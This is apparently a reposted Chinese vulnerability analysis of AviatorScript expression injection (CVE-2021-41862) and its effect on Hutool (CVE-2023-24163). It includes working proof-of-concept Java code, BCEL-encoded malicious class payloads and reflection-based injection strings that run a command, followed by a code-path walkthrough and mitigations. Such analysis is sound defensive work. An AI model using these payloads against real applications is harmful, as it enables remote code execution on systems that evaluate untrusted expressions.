前言
import java.io.IOException;
public class TestEvil {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
使用javac将其编译成TestEvil.class文件
之后再使用BCEL Encode进行编码
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCELencode {
public static void main(String []args) throws Exception{
Path path = Paths.get("TestEvil.class");
byte[] data = Files.readAllBytes(path);
String s = Utility.encode(data,true);
System.out.print("$$BCEL$$"+s);
}
}
再引入有漏洞的版本
<dependencies>
<dependency>
<groupId>com.googlecode.aviator</groupId>
<artifactId>aviator</artifactId>
<version>5.3.0-beta</version>
</dependency>
</dependencies>
再调用AviatorScript处理表达式
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
public class Main {
public static void main(String[] args) {
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("'a'+
(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbJ$c3P$Q$3d$d3$3c$8d$a9m$ad$f5$F$82$aeL
$bb0$hw$R7RA$uVlq$9f$c6K$b9$rM$q$b9$z$fd$y$dd$a8$b8$f0$D$fc$uq$S$b4$z$5e$9833$87sf$86$fb$f5$f
d$f1$J$e0$i$87$O$M$d4$j4$b0$5d$40$d3$c2$8e$85$W$c1$bc$90$89T$97$E$cdk$3f$Q$f4$ab$f4Q$Qj$3d$99
$88$db$d9t$q$b2a8$8a$99$d1$c5BD$84S$af7$J$e7$a1$l$87$c9$d8$l$a8L$s$e3$a0$bdF$ddei$q$f2$3c$m8$
ddE$q$9e$94L$93$dc$c2$$$f7$83t$96E$e2Z$W$d3$aaC$91$ab$ee$5c$c6g$85$d5$85$J$cb$c2$9e$8b$7d$i$b
8p$b0I$b0$ff$U$84$faj$7c$7f4$R$91$o4KJ$a6$feM$7f$b9$86$d0X$J$efg$89$92S$de$e4$8c$85Z6$zo$fd$d
6_$3a$c0$Jt$fe$9c$e2U$40$c5$z$8c6wG$9c$89$b3$d1y$D$bdpA$d8$604KR$e3$9a$_eK$n$3d$$$ad$80$fd$8e
J$e7$V$da$f3$3f$b5$B$97Q$e7$ba$ca$b1U$ae$aa$fd$A$bd2$a8$80$9d$B$A$A",true,new
com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("cmd /c calc") );");
}
}
成功执行,弹出计算器
看到issue中的killme2008作者直接给出更简单的注入方法
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());
evaluator.execute("exec(Runtime.getRuntime(), 'cmd /c calc')");
漏洞分析
直接跟进execute方法
跟进之后
发现代码会头通过词法分析和代码生成器在内存中生成一个类信息,里面就包含了需要执行的Java代码
返回Expression,这个Expression中就包含了生成好的字节码信息
跟进execute方法
可以看到已经进入到生成好的Class类中了
最后在调用execute0方法时,执行恶意代码
而该方法已经在ASMCodeGenerator类中生成
在execute0方法往下可以看到执行了getFunc返回值的call方法
跟进之后,发现判断了this.functionMissing的值是否为空,也就是之前设置好的JavaMethodReflectionFunctionMissing对象
最终在onFunctionMissing方法中执行反射调用
最终造成命令执行
而使用BCEL注入的代码执行
会调用variadicCall方法的时候会实例化对应的ClassLoader
接着进入call方法用于调用具体的函数实现。该方法首先通过调用getFunc方法获取具体的函数实现,并将传入的环境和参数传递给它。
这里返回的是Class.forName的方法,之后调用call的时候会通过Class.forName返回恶意类
接着,该方法之后会进入add方法,返回类实现的结果,这个结果可以是任何类型的AviatorObject对象
往下执行会调用到该类的静态方法exec
最终弹出计算器
影响组件
最近看到开发组件中用到最多的Hutool中也存在漏洞CVE-2023-24163
阅读详情发现其实底层也是使用了Aviator有漏洞的版本组件来进行解析
在pom.xml中添加如下内容:
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.15</version>
</dependency>
<dependency>
<groupId>com.googlecode.aviator</groupId>
<artifactId>aviator</artifactId>
<version>5.2.7</version>
</dependency>
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.11.Final</version>
</dependency>
再运行测试代码
import cn.hutool.extra.expression.ExpressionUtil;
public class Main {
public static void main(String[] args) {
String exp = "'a'+
(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$
c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e
6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b
7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$
7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$
c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$9
4$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$
90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$
7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A",true,new
com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("calc") );";
final Object eval = ExpressionUtil.eval(exp, null);
}
}
修复方法
默认情况下, AviatorScript 会启用所有的语言特性。对于将 AviatorScript 作为一个语言沙箱来使用的场景,用户编写的脚本可能是千奇百怪的,有各种各样的安全隐患
设置允许用户在 new 语句或者静态变量(方法)访问的时候使用的 Class 白名单,通过Options.ALLOWED_CLASS_SET 选项(5.2.2 新增),比如禁止调用 System.exit(0) 这样的危险操作。
Set<Class<?>> allowedClassSet = new HashSet<>();
allowedClassSet.add(java.util.ArrayList.class);
allowedClassSet.add(java.lang.Math.class);
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.setOption(Options.ALLOWED_CLASS_SET, allowedClassSet);
evaluator.execute("'a'+
(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbJ$c3P$Q$3d$d3$3c$8d$a9m$ad$f5$F$82$aeL
$bb0$hw$R7RA$uVlq$9f$c6K$b9$rM$q$b9$z$fd$y$dd$a8$b8$f0$D$fc$uq$S$b4$z$5e$9833$87sf$86$fb$f5$f
d$f1$J$e0$i$87$O$M$d4$j4$b0$5d$40$d3$c2$8e$85$W$c1$bc$90$89T$97$E$cdk$3f$Q$f4$ab$f4Q$Qj$3d$99
$88$db$d9t$q$b2a8$8a$99$d1$c5BD$84S$af7$J$e7$a1$l$87$c9$d8$l$a8L$s$e3$a0$bdF$ddei$q$f2$3c$m8$
ddE$q$9e$94L$93$dc$c2$$$f7$83t$96E$e2Z$W$d3$aaC$91$ab$ee$5c$c6g$85$d5$85$J$cb$c2$9e$8b$7d$i$b
8p$b0I$b0$ff$U$84$faj$7c$7f4$R$91$o4KJ$a6$feM$7f$b9$86$d0X$J$efg$89$92S$de$e4$8c$85Z6$zo$fd$d
6_$3a$c0$Jt$fe$9c$e2U$40$c5$z$8c6wG$9c$89$b3$d1y$D$bdpA$d8$604KR$e3$9a$_eK$n$3d$$$ad$80$fd$8e
J$e7$V$da$f3$3f$b5$B$97Q$e7$ba$ca$b1U$ae$aa$fd$A$bd2$a8$80$9d$B$A$A",true,new
com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("cmd /c calc") );");
或者是直接将Feature.NewInstance功能关闭
evaluator.disableFeature(Feature.NewInstance);
Reference
[1].https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41862
[2].https://github.com/advisories/GHSA-6c25-cxcc-pmc4
[3].https://gitee.com/dromara/hutool/issues/I6AJWJ#note_15801868
原文始发于微信公众号(凌日实验室):AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)